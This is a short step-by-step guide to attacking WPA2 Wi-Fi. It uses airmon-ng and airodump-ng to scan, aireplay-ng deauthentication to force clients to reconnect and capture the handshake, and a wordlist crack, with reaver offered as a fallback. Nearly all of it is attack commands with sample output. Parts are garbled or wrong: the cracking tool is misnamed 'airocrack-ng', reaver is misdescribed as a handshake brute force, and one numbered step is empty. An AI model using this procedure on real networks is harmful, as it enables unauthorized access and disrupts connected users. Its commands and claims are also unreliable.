

Airodump-ng Quick Guide: Scanning and Capturing Handshakes

1 Enable Monitor Mode

```
kali@linux:~$ airmon-ng  
Interface Chipset Driver
```

```
kali@linux:~$ sudo airmon-ng check kill  
[killing interfering processes] 💀
```

```
kali@linux:~$ sudo airmon-ng start wlan0  
Monitor mode enabled on wlan0mon 🚀
```

2 Scan Wi-Fi Networks

```
kali@linux:~$ sudo airodump-ng wlan0mon  
CH 6 ][ Elapsed: 00:00:15 ][ WPA2 ✨ ][ ESSID: TargetNet ]  
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH  
00:11:22:33:44:55 -45 120 43 2 6 54e WPA2 CCMP PSK 🔍
```

3 Focus on Your Network

```
kali@linux:~$ sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w capture wlan0mon  
[Capturing packets...] 🐼
```

4 Capture WPA Handshake

```
kali@linux:~$ sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 wlan0mon  
[Deauth sent] 🗨️ [Clients reconnecting...]
```

💡 Watch for "WPA Handshake: [BSSID]" in airodump-ng window!

5 Verify Handshake

```
kali@linux:~$ tshark -r capture-01.cap -Y 'eapol'  
1 0.000000 STA → AP EAPOL Key (Msg 1/4)  
2 0.123456 AP → STA EAPOL Key (Msg 2/4)  
🔒 Handshake confirmed!
```

6 Stop airodump-ng

```
[Press Ctrl + C] 🖱️
```

OR

```
kali@linux:~$ ps aux | grep airodump-ng  
root  12345  0.5  ... airodump-ng ...
```

```
kali@linux:~$ kill -9 12345  
[Process killed] 💀
```

7 Cleanup

```
-----  
kali@linux:~$ sudo airmon-ng stop wlan0mon  
Monitor mode disabled 🔄
```

```
kali@linux:~$ sudo systemctl start NetworkManager  
[Network services restarted] 🌐
```

Cracking WPA Handshake with Airocrack-ng

1. Prepare the Capture File: Make sure you have the capture file from step 4, which contains the WPA handshake.

```
kali@linux:~$ airocrack-ng -w /path/to/wordlist capture-01.cap
```

- 2.
3. Wait for the Crack: Airocrack-ng will start cracking the WPA handshake using the provided wordlist. This process can take anywhere from a few minutes to several hours, depending on the strength of the password and the speed of your system.

Tips and Tricks

- Use a large, comprehensive wordlist for better chances of cracking the password.
- You can also use custom wordlists or dictionaries specific to the target network.
- Airocrack-ng can also be run in offline mode using a pre-computed password hash file.

Alternatively, if the wordlist method doesn't work, you can try (its a brute force attack):

```
kali@linux:~$ sudo reaver -i wlan0mon -b <BSSID> -c <channel> -vv
```

Keep in mind that cracking WPA handshakes is a resource-intensive process and may take a significant amount of time. Be patient and monitor the progress.

⚠️ Legal Notice:

Always have ****explicit permission**** to scan or capture Wi-Fi traffic.
Unauthorized access is ****illegal****. 